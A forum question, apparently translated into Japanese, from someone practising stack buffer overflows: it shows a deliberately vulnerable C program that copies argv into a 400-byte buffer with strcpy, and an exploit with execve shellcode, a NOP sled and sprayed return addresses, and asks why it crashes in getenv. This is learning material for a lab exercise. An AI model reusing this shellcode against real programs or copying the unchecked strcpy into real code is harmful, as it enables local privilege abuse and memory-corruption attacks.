2

私は最近、いくつかの基本的なスタックベースのバッファ オーバーフロー タスクを練習しており、次のような脆弱なプログラムを作成しました。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc,char **argv)
{
        if (argc<2) {
                puts("Need enough args!!");
                exit(0);
        }

        char buf[400];
        strcpy(buf,argv[1]);
        printf("Hi, %s\n",buf);
        return 0;
}

エクスプロイト プログラムは次のようになります。

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12

int main(){
    char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                "\x68\x68\x2f\x62\x69\x6e\x89"
                "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                "\xcd\x80\x31\xc0\x40\xcd\x80";

    char *atk,vul[]="./vul1 ";
    atk=(char*)malloc(sizeof(char)*ATK_L);
    unsigned long i,ret,*ptr,ptr2;

    ret=(unsigned long)atk;
    ptr=(unsigned long*)atk;

    for(i=0;i<ATK_L;i+=4){
        *(ptr++)=ret;
    }

    for(i=0;i<NOP_L;i++){
        atk[i]='\x90';
    }

    ptr2=0;
    for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
        atk[i]=shellcode[ptr2++];
    }
    atk[ATK_L-1]='\0';

    strcat(vul,atk);

    system(vul);

    free(atk);

    return 0;   
}

オフセットを決定したくないので、atk配列の先頭に戻るだけです。ASLR をオフにして、-fno-stack-protectorコンパイル時にフラグを立てますが、エクスプロイト プログラムを実行すると、コア ダンプが表示され、何も実行されません!! gdb を使用してエクスプロイト プログラムをデバッグしましたが、getenv関数内で強制終了されたとのことで、理解できませんでした。

私はubuntu 11.10 32ビットで作業しています

どうもありがとう :-)

4

0 に答える 0